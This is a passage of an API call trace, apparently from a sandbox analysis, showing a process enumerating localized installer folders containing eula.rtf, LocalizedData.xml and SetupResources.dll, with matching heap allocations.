	[0041.418] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742eb0
	[0041.418] FindNextFileW (in: hFindFile=0x742eb0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.418] FindNextFileW (in: hFindFile=0x742eb0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.418] FindNextFileW (in: hFindFile=0x742eb0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.418] FindNextFileW (in: hFindFile=0x742eb0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.419] FindNextFileW (in: hFindFile=0x742eb0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.419] FindClose (in: hFindFile=0x742eb0 | out: hFindFile=0x742eb0) returned 1
	[0041.419] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.419] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1
	[0041.419] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42b0060
	[0041.419] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x743230
	[0041.419] FindNextFileW (in: hFindFile=0x743230, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.419] FindNextFileW (in: hFindFile=0x743230, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.419] FindNextFileW (in: hFindFile=0x743230, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.419] FindNextFileW (in: hFindFile=0x743230, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.419] FindNextFileW (in: hFindFile=0x743230, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.419] FindClose (in: hFindFile=0x743230 | out: hFindFile=0x743230) returned 1
	[0041.420] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.420] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1
	[0041.420] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42b0060
	[0041.420] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742ef0
	[0041.421] FindNextFileW (in: hFindFile=0x742ef0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.421] FindNextFileW (in: hFindFile=0x742ef0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.421] FindNextFileW (in: hFindFile=0x742ef0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.421] FindNextFileW (in: hFindFile=0x742ef0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.421] FindNextFileW (in: hFindFile=0x742ef0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.422] FindClose (in: hFindFile=0x742ef0 | out: hFindFile=0x742ef0) returned 1
	[0041.422] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.422] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1
	[0041.422] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42b0060
	[0041.422] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7431b0
	[0041.423] FindNextFileW (in: hFindFile=0x7431b0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.424] FindNextFileW (in: hFindFile=0x7431b0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.424] FindNextFileW (in: hFindFile=0x7431b0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.424] FindNextFileW (in: hFindFile=0x7431b0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.424] FindNextFileW (in: hFindFile=0x7431b0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.436] FindClose (in: hFindFile=0x7431b0 | out: hFindFile=0x7431b0) returned 1
	[0041.436] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.436] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1
	[0041.436] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42b0060
	[0041.436] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742e30
	[0041.483] FindNextFileW (in: hFindFile=0x742e30, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.509] FindNextFileW (in: hFindFile=0x742e30, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.509] FindNextFileW (in: hFindFile=0x742e30, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.509] FindNextFileW (in: hFindFile=0x742e30, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.509] FindNextFileW (in: hFindFile=0x742e30, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.514] FindClose (in: hFindFile=0x742e30 | out: hFindFile=0x742e30) returned 1
	[0041.514] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.514] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1
	[0041.514] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42b0060
	[0041.514] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742df0
	[0041.514] FindNextFileW (in: hFindFile=0x742df0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.514] FindNextFileW (in: hFindFile=0x742df0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.514] FindNextFileW (in: hFindFile=0x742df0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.514] FindNextFileW (in: hFindFile=0x742df0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0041.514] FindNextFileW (in: hFindFile=0x742df0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0041.514] FindClose (in: hFindFile=0x742df0 | out: hFindFile=0x742df0) returned 1
	[0041.515] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0041.515] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1
	[0041.515] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42b0060
	[0041.515] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742c30
